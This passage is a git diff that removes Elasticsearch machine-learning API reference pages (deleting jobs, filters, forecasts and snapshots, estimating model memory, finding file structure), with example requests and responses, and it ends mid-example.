-You can limit the request to a single or set of {anomaly-jobs} by using a job identifier,
-a group name, a comma-separated list of jobs, or a wildcard expression.
-You can delete expired data for all {anomaly-jobs} by using `_all`, by specifying
-`*` as the `<job_id>`, or by omitting the `<job_id>`.
-
-[[ml-delete-expired-data-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Optional, string)
-Identifier for an {anomaly-job}. It can be a job identifier, a group name, or a
-wildcard expression.
-
-[[ml-delete-expired-data-request-body]]
-== {api-request-body-title}
-
-`requests_per_second`::
-(Optional, float) The desired requests per second for the deletion processes.
-The default behavior is no throttling.
-
-`timeout`::
-(Optional, string) How long can the underlying delete processes run until they are canceled.
-The default value is `8h` (8 hours).
-
-[[ml-delete-expired-data-example]]
-== {api-examples-title}
-
-The endpoint takes no arguments:
-
-[source,console]
---------------------------------------------------
-DELETE _ml/_delete_expired_data
---------------------------------------------------
-// TEST
-
-When the expired data is deleted, you receive the following response:
-
-[source,console-result]
-----
-{
-  "deleted": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/delete-filter.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-filter.asciidoc
deleted file mode 100644
index 94431a2f3e1..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/delete-filter.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-delete-filter]]
-= Delete filters API
-++++
-<titleabbrev>Delete filters</titleabbrev>
-++++
-
-Deletes a filter.
-
-[[ml-delete-filter-request]]
-== {api-request-title}
-
-`DELETE _ml/filters/<filter_id>`
-
-[[ml-delete-filter-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-delete-filter-desc]]
-== {api-description-title}
-
-This API deletes a {ml-docs}/ml-rules.html[filter]. 
-If a {ml} job references the filter, you cannot delete the filter. You must 
-update or delete the job before you can delete the filter.
-
-[[ml-delete-filter-path-parms]]
-== {api-path-parms-title}
-
-`<filter_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=filter-id]
-
-[[ml-delete-filter-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-DELETE _ml/filters/safe_domains
---------------------------------------------------
-// TEST[skip:setup:ml_filter_safe_domains]
-
-When the filter is deleted, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/delete-forecast.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-forecast.asciidoc
deleted file mode 100644
index 9d39712944c..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/delete-forecast.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-delete-forecast]]
-= Delete forecasts API
-++++
-<titleabbrev>Delete forecasts</titleabbrev>
-++++
-
-Deletes forecasts from a {ml} job.
-
-[[ml-delete-forecast-request]]
-== {api-request-title}
-
-`DELETE _ml/anomaly_detectors/<job_id>/_forecast` +
-
-`DELETE _ml/anomaly_detectors/<job_id>/_forecast/<forecast_id>` +
-
-`DELETE _ml/anomaly_detectors/<job_id>/_forecast/_all`
-
-[[ml-delete-forecast-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-delete-forecast-desc]]
-== {api-description-title}
-
-By default, forecasts are retained for 14 days. You can specify a different
-retention period with the `expires_in` parameter in the
-<<ml-forecast,forecast jobs API>>. The delete forecast API enables you to delete
-one or more forecasts before they expire.
-
-NOTE: When you delete a job, its associated forecasts are deleted.
-
-For more information, see
-{ml-docs}/ml-overview.html#ml-forecasting[Forecasting the future].
-
-[[ml-delete-forecast-path-parms]]
-== {api-path-parms-title}
-
-`<forecast_id>`::
-(Optional, string) A comma-separated list of forecast identifiers. If you do not
-specify this optional parameter or if you specify `_all` or `*` the API deletes all
-forecasts from the job.
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-
-[[ml-delete-forecast-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_forecasts`::
-  (Optional, Boolean) Specifies whether an error occurs when there are no
-  forecasts. In particular, if this parameter is set to `false` and there are no
-  forecasts associated with the job, attempts to delete all forecasts return an
-  error. The default value is `true`.
-
-`timeout`::
-  (Optional, <<time-units, time units>>) Specifies the period of time to wait
-  for the completion of the delete operation. When this period of time elapses,
-  the API fails and returns an error. The default value is `30s`.
-
-[[ml-delete-forecast-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-DELETE _ml/anomaly_detectors/total-requests/_forecast/_all
---------------------------------------------------
-// TEST[skip:setup:server_metrics_openjob]
-
-If the request does not encounter errors, you receive the following result:
-
-[source,js]
-----
-{
-  "acknowledged": true
-}
-----
-// NOTCONSOLE
diff --git a/docs/reference/ml/anomaly-detection/apis/delete-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-job.asciidoc
deleted file mode 100644
index 13e0bc7f7c3..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/delete-job.asciidoc
+++ /dev/null
@@ -1,92 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-delete-job]]
-= Delete {anomaly-jobs} API
-++++
-<titleabbrev>Delete jobs</titleabbrev>
-++++
-
-Deletes an existing {anomaly-job}.
-
-[[ml-delete-job-request]]
-== {api-request-title}
-
-`DELETE _ml/anomaly_detectors/<job_id>`
-
-[[ml-delete-job-prereqs]]
-== {api-prereq-title}
-
-* If {es} {security-features} are enabled, you must have `manage_ml` or `manage`
-cluster privileges to use this API. See <<security-privileges>> and
-{ml-docs-setup-privileges}.
-* Before you can delete a job, you must delete the {dfeeds} that are associated
-with it. See <<ml-delete-datafeed>>.
-* Before you can delete a job, you must close it (unless you specify the `force` parameter). See <<ml-close-job>>.
-
-[[ml-delete-job-desc]]
-== {api-description-title}
-
-All job configuration, model state and results are deleted.
-
-IMPORTANT:  Deleting an {anomaly-job} must be done via this API only. Do not
-delete the job directly from the `.ml-*` indices using the {es} delete document
-API. When {es} {security-features} are enabled, make sure no `write` privileges
-are granted to anyone over the `.ml-*` indices.
-
-It is not currently possible to delete multiple jobs using wildcards or a comma
-separated list.
-
-[[ml-delete-job-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[[ml-delete-job-query-parms]]
-== {api-query-parms-title}
-
-`force`::
-(Optional, Boolean) Use to forcefully delete an opened job; this method is
-quicker than closing and deleting the job.
-
-`wait_for_completion`::
-(Optional, boolean) Specifies whether the request should return immediately or
-wait until the job deletion completes. Defaults to `true`.
-
-[[ml-delete-job-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-DELETE _ml/anomaly_detectors/total-requests
---------------------------------------------------
-// TEST[skip:setup:server_metrics_job]
-
-When the job is deleted, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
-
-In the next example we delete the `total-requests` job asynchronously:
-
-[source,console]
---------------------------------------------------
-DELETE _ml/anomaly_detectors/total-requests?wait_for_completion=false
---------------------------------------------------
-// TEST[skip:setup:server_metrics_job]
-
-When `wait_for_completion` is set to `false`, the response contains the id
-of the job deletion task:
-
-[source,console-result]
-----
-{
-  "task": "oTUltX4IQMOUUVeiohTt8A:39"
-}
-----
-// TESTRESPONSE[s/"task": "oTUltX4IQMOUUVeiohTt8A:39"/"task": $body.task/]
diff --git a/docs/reference/ml/anomaly-detection/apis/delete-snapshot.asciidoc b/docs/reference/ml/anomaly-detection/apis/delete-snapshot.asciidoc
deleted file mode 100644
index 26cb641c6b6..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/delete-snapshot.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-delete-snapshot]]
-= Delete model snapshots API
-++++
-<titleabbrev>Delete model snapshots</titleabbrev>
-++++
-
-Deletes an existing model snapshot.
-
-[[ml-delete-snapshot-request]]
-== {api-request-title}
-
-`DELETE _ml/anomaly_detectors/<job_id>/model_snapshots/<snapshot_id>`
-
-[[ml-delete-snapshot-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See <<security-privileges>> and
-{ml-docs-setup-privileges}.
-
-[[ml-delete-snapshot-desc]]
-== {api-description-title}
-
-IMPORTANT: You cannot delete the active model snapshot. To delete that snapshot,
-first revert to a different one. To identify the active model snapshot, refer to
-the `model_snapshot_id` in the results from the get jobs API.
-
-[[ml-delete-snapshot-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`<snapshot_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=snapshot-id]
-
-[[ml-delete-snapshot-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-DELETE _ml/anomaly_detectors/farequote/model_snapshots/1491948163
---------------------------------------------------
-// TEST[skip:todo]
-
-When the snapshot is deleted, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/estimate-model-memory.asciidoc b/docs/reference/ml/anomaly-detection/apis/estimate-model-memory.asciidoc
deleted file mode 100644
index c4759a8d2c9..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/estimate-model-memory.asciidoc
+++ /dev/null
@@ -1,94 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-estimate-model-memory]]
-= Estimate {anomaly-jobs} model memory API
-++++
-<titleabbrev>Estimate model memory</titleabbrev>
-++++
-
-Makes an estimation of the memory usage for an {anomaly-job} model. It 
-is based on analysis configuration details for the job and cardinality estimates for the 
-fields it references.
-
-
-[[ml-estimate-model-memory-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/_estimate_model_memory`
-
-[[ml-estimate-model-memory-prereqs]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following privileges:
-
-* `manage_ml` or cluster: `manage`
-
-For more information, see <<security-privileges>> and
-{ml-docs-setup-privileges}.
-
-
-[[ml-estimate-model-memory-request-body]]
-== {api-request-body-title}
-
-`analysis_config`::
-(Required, object) 
-For a list of the properties that you can specify in the `analysis_config` 
-component of the body of this API, see <<put-analysisconfig,`analysis_config`>>.
-
-`max_bucket_cardinality`::
-(Required^\*^, object)
-Estimates of the highest cardinality in a single bucket that is observed for 
-influencer fields over the time period that the job analyzes data. To produce a 
-good answer, values must be provided for all influencer fields. Providing values 
-for fields that are not listed as `influencers` has no effect on the estimation. +
-^*^It can be omitted from the request if there are no `influencers`.
-
-`overall_cardinality`::
-(Required^\*^, object) 
-Estimates of the cardinality that is observed for fields over the whole time 
-period that the job analyzes data. To produce a good answer, values must be 
-provided for fields referenced in the `by_field_name`, `over_field_name` and 
-`partition_field_name` of any detectors. Providing values for other fields has 
-no effect on the estimation. +
-^*^It can be omitted from the request if no detectors have a `by_field_name`, 
-`over_field_name` or `partition_field_name`.
-
-[[ml-estimate-model-memory-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/_estimate_model_memory
-{
-  "analysis_config": {
-    "bucket_span": "5m",
-    "detectors": [
-      {
-        "function": "sum",
-        "field_name": "bytes",
-        "by_field_name": "status",
-        "partition_field_name": "app"
-      }
-    ],
-    "influencers": [ "source_ip", "dest_ip" ]
-  },
-  "overall_cardinality": {
-    "status": 10,
-    "app": 50
-  },
-  "max_bucket_cardinality": {
-    "source_ip": 300,
-    "dest_ip": 30
-  }
-}
---------------------------------------------------
-// TEST[skip:needs-licence]
-
-The estimate returns the following result:
-
-[source,console-result]
-----
-{
-  "model_memory_estimate": "21mb"
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/find-file-structure.asciidoc b/docs/reference/ml/anomaly-detection/apis/find-file-structure.asciidoc
deleted file mode 100644
index a1c7516c018..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/find-file-structure.asciidoc
+++ /dev/null
@@ -1,1954 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ml-find-file-structure]]
-= Find file structure API
-++++
-<titleabbrev>Find file structure</titleabbrev>
-++++
-
-experimental[]
-
-Finds the structure of a text file. The text file must contain data that is
-suitable to be ingested into {es}.
-
-
-[[ml-find-file-structure-request]]
-== {api-request-title}
-
-`POST _ml/find_file_structure`
-
-
-[[ml-find-file-structure-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml` or
-`monitor` cluster privileges to use this API. See
-<<security-privileges>> and
-{ml-docs-setup-privileges}.
-
-
-[[ml-find-file-structure-desc]]
-== {api-description-title}
-
-This API provides a starting point for ingesting data into {es} in a format that
-is suitable for subsequent use with other {ml} functionality.
-
-Unlike other {es} endpoints, the data that is posted to this endpoint does not
-need to be UTF-8 encoded and in JSON format. It must, however, be text; binary
-file formats are not currently supported.
-
-The response from the API contains:
-
-* A couple of messages from the beginning of the file.
-* Statistics that reveal the most common values for all fields detected within
-  the file and basic numeric statistics for numeric fields.
-* Information about the structure of the file, which is useful when you write
-  ingest configurations to index the file contents.
-* Appropriate mappings for an {es} index, which you could use to ingest the file
-  contents.
-
-All this information can be calculated by the structure finder with no guidance.
-However, you can optionally override some of the decisions about the file
-structure by specifying one or more query parameters.
-
-Details of the output can be seen in the
-<<ml-find-file-structure-examples,examples>>.
-
-If the structure finder produces unexpected results for a particular file,
-specify the `explain` query parameter. It causes an `explanation` to appear in
-the response, which should help in determining why the returned structure was
-chosen.
-
-
-[[ml-find-file-structure-query-parms]]
-== {api-query-parms-title}
-
-`charset`::
-  (Optional, string) The file's character set. It must be a character set that
-  is supported by the JVM that {es} uses. For example, `UTF-8`, `UTF-16LE`,
-  `windows-1252`, or `EUC-JP`. If this parameter is not specified, the structure
-  finder chooses an appropriate character set.
-
-`column_names`::
-  (Optional, string) If you have set `format` to `delimited`, you can specify
-  the column names in a comma-separated list. If this parameter is not specified,
-  the structure finder uses the column names from the header row of the file. If
-  the file does not have a header role, columns are named "column1", "column2",
-  "column3", etc.
-
-`delimiter`::
-  (Optional, string) If you have set `format` to `delimited`, you can specify
-  the character used to delimit the values in each row. Only a single character
-  is supported; the delimiter cannot have multiple characters. By default, the
-  API considers the following possibilities: comma, tab, semi-colon, and pipe
-  (`|`). In this default scenario, all rows must have the same number of fields
-  for the delimited format to be detected. If you specify a delimiter, up to 10%
-  of the rows can have a different number of columns than the first row.
-
-`explain`::
-  (Optional, Boolean) If this parameter is set to `true`, the response includes
-  a field named `explanation`, which is an array of strings that indicate how
-  the structure finder produced its result. The default value is `false`.
-
-`format`::
-(Optional, string) The high level structure of the file. Valid values are
-`ndjson`, `xml`, `delimited`, and `semi_structured_text`. By default, the
-API chooses the format. In this default scenario, all rows must
-have the same number of fields for a delimited format to be detected. If the
-`format` is set to `delimited` and the `delimiter` is not set, however, the
-API tolerates up to 5% of rows that have a different number of
-columns than the first row.
-
-`grok_pattern`::
-  (Optional, string) If you have set `format` to `semi_structured_text`, you can
-  specify a Grok pattern that is used to extract fields from every message in
-  the file. The name of the timestamp field in the Grok pattern must match what
-  is specified in the `timestamp_field` parameter. If that parameter is not
-  specified, the name of the timestamp field in the Grok pattern must match
-  "timestamp". If `grok_pattern` is not specified, the structure finder creates
-  a Grok pattern.
-
-`has_header_row`::
-  (Optional, Boolean) If you have set `format` to `delimited`, you can use this
-  parameter to indicate whether the column names are in the first row of the
-  file. If this parameter is not specified, the structure finder guesses based
-  on the similarity of the first row of the file to other rows.
-
-`line_merge_size_limit`::
-  (Optional, unsigned integer) The maximum number of characters in a message
-  when lines are merged to form messages while analyzing semi-structured files.
-  The default is `10000`. If you have extremely long messages you may need to
-  increase this, but be aware that this may lead to very long processing times
-  if the way to group lines into messages is misdetected.
-
-`lines_to_sample`::
-  (Optional, unsigned integer) The number of lines to include in the structural
-  analysis, starting from the beginning of the file. The minimum is 2; the
-  default is `1000`. If the value of this parameter is greater than the number
-  of lines in the file, the analysis proceeds (as long as there are at least two
-  lines in the file) for all of the lines. +
-+
---
-NOTE: The number of lines and the variation of the lines affects the speed of
-the analysis. For example, if you upload a log file where the first 1000 lines
-are all variations on the same message, the analysis will find more commonality
-than would be seen with a bigger sample. If possible, however, it is more
-efficient to upload a sample file with more variety in the first 1000 lines than
-to request analysis of 100000 lines to achieve some variety.
---
-
-`quote`::
-  (Optional, string) If you have set `format` to `delimited`, you can specify
-  the character used to quote the values in each row if they contain newlines or
-  the delimiter character. Only a single character is supported. If this
-  parameter is not specified, the default value is a double quote (`"`). If your
-  delimited file format does not use quoting, a workaround is to set this
-  argument to a character that does not appear anywhere in the sample.
-
-`should_trim_fields`::
-  (Optional, Boolean) If you have set `format` to `delimited`, you can specify
-  whether values between delimiters should have whitespace trimmed from them. If
-  this parameter is not specified and the delimiter is pipe (`|`), the default
-  value is `true`. Otherwise, the default value is `false`.
-
-`timeout`::
-  (Optional, <<time-units,time units>>) Sets the maximum amount of time that the
-  structure analysis make take. If the analysis is still running when the
-  timeout expires then it will be aborted. The default value is 25 seconds.
-
-`timestamp_field`::
-  (Optional, string) The name of the field that contains the primary timestamp
-  of each record in the file. In particular, if the file were ingested into an
-  index, this is the field that would be used to populate the `@timestamp` field.
-+
---
-If the `format` is `semi_structured_text`, this field must match the name of the
-appropriate extraction in the `grok_pattern`. Therefore, for semi-structured
-file formats, it is best not to specify this parameter unless `grok_pattern` is
-also specified.
-
-For structured file formats, if you specify this parameter, the field must exist
-within the file.
-
-If this parameter is not specified, the structure finder makes a decision about
-which field (if any) is the primary timestamp field. For structured file
-formats, it is not compulsory to have a timestamp in the file.
---
-
-`timestamp_format`::
-  (Optional, string) The Java time format of the timestamp field in the file.
-+
---
-Only a subset of Java time format letter groups are supported:
-
-* `a`
-* `d`
-* `dd`
-* `EEE`
-* `EEEE`
-* `H`
-* `HH`
-* `h`
-* `M`
-* `MM`
-* `MMM`
-* `MMMM`
-* `mm`
-* `ss`
-* `XX`
-* `XXX`
-* `yy`
-* `yyyy`
-* `zzz`
-
-Additionally `S` letter groups (fractional seconds) of length one to nine are
-supported providing they occur after `ss` and separated from the `ss` by a `.`,
-`,` or `:`. Spacing and punctuation is also permitted with the exception of `?`,
-newline and carriage return, together with literal text enclosed in single
-quotes. For example, `MM/dd HH.mm.ss,SSSSSS 'in' yyyy` is a valid override
-format.
-
-One valuable use case for this parameter is when the format is semi-structured
-text, there are multiple timestamp formats in the file, and you know which
-format corresponds to the primary timestamp, but you do not want to specify the
-full `grok_pattern`. Another is when the timestamp format is one that the
-structure finder does not consider by default.
-
-If this parameter is not specified, the structure finder chooses the best
-format from a built-in set.
-
-The following table provides the appropriate `timeformat` values for some example timestamps:
-
-|===
-| Timeformat                 | Presentation
-
-| yyyy-MM-dd HH:mm:ssZ       | 2019-04-20 13:15:22+0000
-| EEE, d MMM yyyy HH:mm:ss Z | Sat, 20 Apr 2019 13:15:22 +0000
-| dd.MM.yy HH:mm:ss.SSS      | 20.04.19 13:15:22.285
-|===
-
-See
-https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html[the Java date/time format documentation]
-for more information about date and time format syntax.
-
---
-
-[[ml-find-file-structure-request-body]]
-== {api-request-body-title}
-
-The text file that you want to analyze. It must contain data that is suitable to
-be ingested into {es}. It does not need to be in JSON format and it does not
-need to be UTF-8 encoded. The size is limited to the {es} HTTP receive buffer
-size, which defaults to 100 Mb.
-
-[[ml-find-file-structure-examples]]
-== {api-examples-title}
-
-[[ml-find-file-structure-example-nld-json]]
-=== Ingesting newline-delimited JSON
-
-Suppose you have a newline-delimited JSON file that contains information about
-some books. You can send the contents to the `find_file_structure` endpoint:
-
-[source,console]
-----
-POST _ml/find_file_structure
-{"name": "Leviathan Wakes", "author": "James S.A. Corey", "release_date": "2011-06-02", "page_count": 561}
-{"name": "Hyperion", "author": "Dan Simmons", "release_date": "1989-05-26", "page_count": 482}
-{"name": "Dune", "author": "Frank Herbert", "release_date": "1965-06-01", "page_count": 604}
-{"name": "Dune Messiah", "author": "Frank Herbert", "release_date": "1969-10-15", "page_count": 331}
-{"name": "Children of Dune", "author": "Frank Herbert", "release_date": "1976-04-21", "page_count": 408}
-{"name": "God Emperor of Dune", "author": "Frank Herbert", "release_date": "1981-05-28", "page_count": 454}
-{"name": "Consider Phlebas", "author": "Iain M. Banks", "release_date": "1987-04-23", "page_count": 471}
-{"name": "Pandora's Star", "author": "Peter F. Hamilton", "release_date": "2004-03-02", "page_count": 768}
-{"name": "Revelation Space", "author": "Alastair Reynolds", "release_date": "2000-03-15", "page_count": 585}
-{"name": "A Fire Upon the Deep", "author": "Vernor Vinge", "release_date": "1992-06-01", "page_count": 613}
-{"name": "Ender's Game", "author": "Orson Scott Card", "release_date": "1985-06-01", "page_count": 324}
-{"name": "1984", "author": "George Orwell", "release_date": "1985-06-01", "page_count": 328}
-{"name": "Fahrenheit 451", "author": "Ray Bradbury", "release_date": "1953-10-15", "page_count": 227}
-{"name": "Brave New World", "author": "Aldous Huxley", "release_date": "1932-06-01", "page_count": 268}
-{"name": "Foundation", "author": "Isaac Asimov", "release_date": "1951-06-01", "page_count": 224}
-{"name": "The Giver", "author": "Lois Lowry", "release_date": "1993-04-26", "page_count": 208}
-{"name": "Slaughterhouse-Five", "author": "Kurt Vonnegut", "release_date": "1969-06-01", "page_count": 275}
-{"name": "The Hitchhiker's Guide to the Galaxy", "author": "Douglas Adams", "release_date": "1979-10-12", "page_count": 180}
-{"name": "Snow Crash", "author": "Neal Stephenson", "release_date": "1992-06-01", "page_count": 470}
-{"name": "Neuromancer", "author": "William Gibson", "release_date": "1984-07-01", "page_count": 271}
-{"name": "The Handmaid's Tale", "author": "Margaret Atwood", "release_date": "1985-06-01", "page_count": 311}
-{"name": "Starship Troopers", "author": "Robert A. Heinlein", "release_date": "1959-12-01", "page_count": 335}
-{"name": "The Left Hand of Darkness", "author": "Ursula K. Le Guin", "release_date": "1969-06-01", "page_count": 304}
-{"name": "The Moon is a Harsh Mistress", "author": "Robert A. Heinlein", "release_date": "1966-04-01", "page_count": 288}
-----
-
-If the request does not encounter errors, you receive the following result:
-
-[source,console-result]
-----
-{
-  "num_lines_analyzed" : 24, <1>
-  "num_messages_analyzed" : 24, <2>
-  "sample_start" : "{\"name\": \"Leviathan Wakes\", \"author\": \"James S.A. Corey\", \"release_date\": \"2011-06-02\", \"page_count\": 561}\n{\"name\": \"Hyperion\", \"author\": \"Dan Simmons\", \"release_date\": \"1989-05-26\", \"page_count\": 482}\n", <3>
-  "charset" : "UTF-8", <4>
-  "has_byte_order_marker" : false, <5>
-  "format" : "ndjson", <6>
-  "timestamp_field" : "release_date", <7>
-  "joda_timestamp_formats" : [ <8>
-    "ISO8601"
-  ],
-  "java_timestamp_formats" : [ <9>
-    "ISO8601"
-  ],
-  "need_client_timezone" : true, <10>
-  "mappings" : { <11>
-    "properties" : {
-      "@timestamp" : {
-        "type" : "date"
-      },
-      "author" : {
-        "type" : "keyword"
-      },
-      "name" : {
-        "type" : "keyword"
-      },
-      "page_count" : {
-        "type" : "long"
-      },
-      "release_date" : {
-        "type" : "date",
-        "format" : "iso8601"
-      }
-    }
-  },
-  "ingest_pipeline" : {
-    "description" : "Ingest pipeline created by file structure finder",
-    "processors" : [
-      {
-        "date" : {
-          "field" : "release_date",
-          "timezone" : "{{ event.timezone }}",
-          "formats" : [
-            "ISO8601"
-          ]
-        }
-      }
-    ]
-  },
-  "field_stats" : { <12>
-    "author" : {
-      "count" : 24,
-      "cardinality" : 20,
-      "top_hits" : [
-        {
-          "value" : "Frank Herbert",
-          "count" : 4
-        },
-        {
-          "value" : "Robert A. Heinlein",
-          "count" : 2
-        },
-        {
-          "value" : "Alastair Reynolds",
-          "count" : 1
-        },
-        {
-          "value" : "Aldous Huxley",
-          "count" : 1
-        },
-        {
-          "value" : "Dan Simmons",
-          "count" : 1
-        },
-        {
-          "value" : "Douglas Adams",
-          "count" : 1
-        },
-        {
-          "value" : "George Orwell",
-          "count" : 1
-        },
-        {
-          "value" : "Iain M. Banks",
-          "count" : 1
-        },
-        {
-          "value" : "Isaac Asimov",
-          "count" : 1
-        },
-        {
-          "value" : "James S.A. Corey",
-          "count" : 1
-        }
-      ]
-    },
-    "name" : {
-      "count" : 24,
-      "cardinality" : 24,
-      "top_hits" : [
-        {
-          "value" : "1984",
-          "count" : 1
-        },
-        {
-          "value" : "A Fire Upon the Deep",
-          "count" : 1
-        },
-        {
-          "value" : "Brave New World",
-          "count" : 1
-        },
-        {
-          "value" : "Children of Dune",
-          "count" : 1
-        },
-        {
-          "value" : "Consider Phlebas",
-          "count" : 1
-        },
-        {
-          "value" : "Dune",
-          "count" : 1
-        },
-        {
-          "value" : "Dune Messiah",
-          "count" : 1
-        },
-        {
-          "value" : "Ender's Game",
-          "count" : 1
-        },
-        {
-          "value" : "Fahrenheit 451",
-          "count" : 1
-        },
-        {
-          "value" : "Foundation",
-          "count" : 1
-        }
-      ]
-    },
-    "page_count" : {
-      "count" : 24,
-      "cardinality" : 24,
-      "min_value" : 180,
-      "max_value" : 768,
-      "mean_value" : 387.0833333333333,
-      "median_value" : 329.5,
-      "top_hits" : [
-        {
-          "value" : 180,
-          "count" : 1
-        },
-        {
-          "value" : 208,
-          "count" : 1
-        },
-        {
-          "value" : 224,
-          "count" : 1
-        },
-        {
-          "value" : 227,
-          "count" : 1
-        },
-        {
-          "value" : 268,
-          "count" : 1
-        },
-        {
-          "value" : 271,
-          "count" : 1
-        },
-        {
-          "value" : 275,
-          "count" : 1
-        },
-        {
-          "value" : 288,
-          "count" : 1
-        },
-        {
-          "value" : 304,
-          "count" : 1
-        },
-        {
-          "value" : 311,
-          "count" : 1
-        }
-      ]
-    },
-    "release_date" : {
-      "count" : 24,
-      "cardinality" : 20,
-      "earliest" : "1932-06-01",
-      "latest" : "2011-06-02",
-      "top_hits" : [
-        {
-          "value" : "1985-06-01",
-          "count" : 3
-        },
-        {
-          "value" : "1969-06-01",
-          "count" : 2
-        },
-        {
-          "value" : "1992-06-01",
-          "count" : 2
-        },
-        {
-          "value" : "1932-06-01",
-          "count" : 1
-        },
-        {
-          "value" : "1951-06-01",
-          "count" : 1
-        },
-        {
-          "value" : "1953-10-15",
-          "count" : 1
-        },
-        {
-          "value" : "1959-12-01",
-          "count" : 1
-        },
-        {
-          "value" : "1965-06-01",
-          "count" : 1
-        },
-        {
-          "value" : "1966-04-01",
-          "count" : 1
-        },
-        {
-          "value" : "1969-10-15",
-          "count" : 1
-        }
-      ]
-    }
-  }
-}
-----
-// TESTRESPONSE[s/"sample_start" : ".*",/"sample_start" : "$body.sample_start",/]
-// The substitution is because the "file" is pre-processed by the test harness,
-// so the fields may get reordered in the JSON the endpoint sees
-
-<1> `num_lines_analyzed` indicates how many lines of the file were analyzed.
-<2> `num_messages_analyzed` indicates how many distinct messages the lines contained.
-     For NDJSON, this value is the same as `num_lines_analyzed`. For other file
-     formats, messages can span several lines.
-<3> `sample_start` reproduces the first two messages in the file verbatim. This
-     may help to diagnose parse errors or accidental uploads of the wrong file.
-<4> `charset` indicates the character encoding used to parse the file.
-<5> For UTF character encodings, `has_byte_order_marker` indicates whether the
-    file begins with a byte order marker.
-<6> `format` is one of `ndjson`, `xml`, `delimited` or `semi_structured_text`.
-<7> The `timestamp_field` names the field considered most likely to be the
-    primary timestamp of each document.
-<8> `joda_timestamp_formats` are used to tell Logstash how to parse timestamps.
-<9> `java_timestamp_formats` are the Java time formats recognized in the time
-    fields. Elasticsearch mappings and Ingest pipeline use this format.
-<10> If a timestamp format is detected that does not include a timezone,
-     `need_client_timezone` will be `true`. The server that parses the file must
-     therefore be told the correct timezone by the client.
-<11> `mappings` contains some suitable mappings for an index into which the data
-     could be ingested. In this case, the `release_date` field has been given a
-     `keyword` type as it is not considered specific enough to convert to the
-     `date` type.
-<12> `field_stats` contains the most common values of each field, plus basic
-     numeric statistics for the numeric `page_count` field. This information
-     may provide clues that the data needs to be cleaned or transformed prior
-     to use by other {ml} functionality.
-
-
-[[ml-find-file-structure-example-nyc]]
-=== Finding the structure of NYC yellow cab example data
-
-The next example shows how it's possible to find the structure of some New York
-City yellow cab trip data. The first `curl` command downloads the data, the
-first 20000 lines of which are then piped into the `find_file_structure`
-endpoint. The `lines_to_sample` query parameter of the endpoint is set to 20000
-to match what is specified in the `head` command.
-
-[source,js]
-----
-curl -s "s3.amazonaws.com/nyc-tlc/trip+data/yellow_tripdata_2018-06.csv" | head -20000 | curl -s -H "Content-Type: application/json" -XPOST "localhost:9200/_ml/find_file_structure?pretty&lines_to_sample=20000" -T -
-----
-// NOTCONSOLE
-// Not converting to console because this shows how curl can be used
-
---
-NOTE: The `Content-Type: application/json` header must be set even though in
-this case the data is not JSON. (Alternatively the `Content-Type` can be set
-to any other supported by {es}, but it must be set.)
---
-
-If the request does not encounter errors, you receive the following result:
-
-[source,js]
-----
-{
-  "num_lines_analyzed" : 20000,
-  "num_messages_analyzed" : 19998, <1>
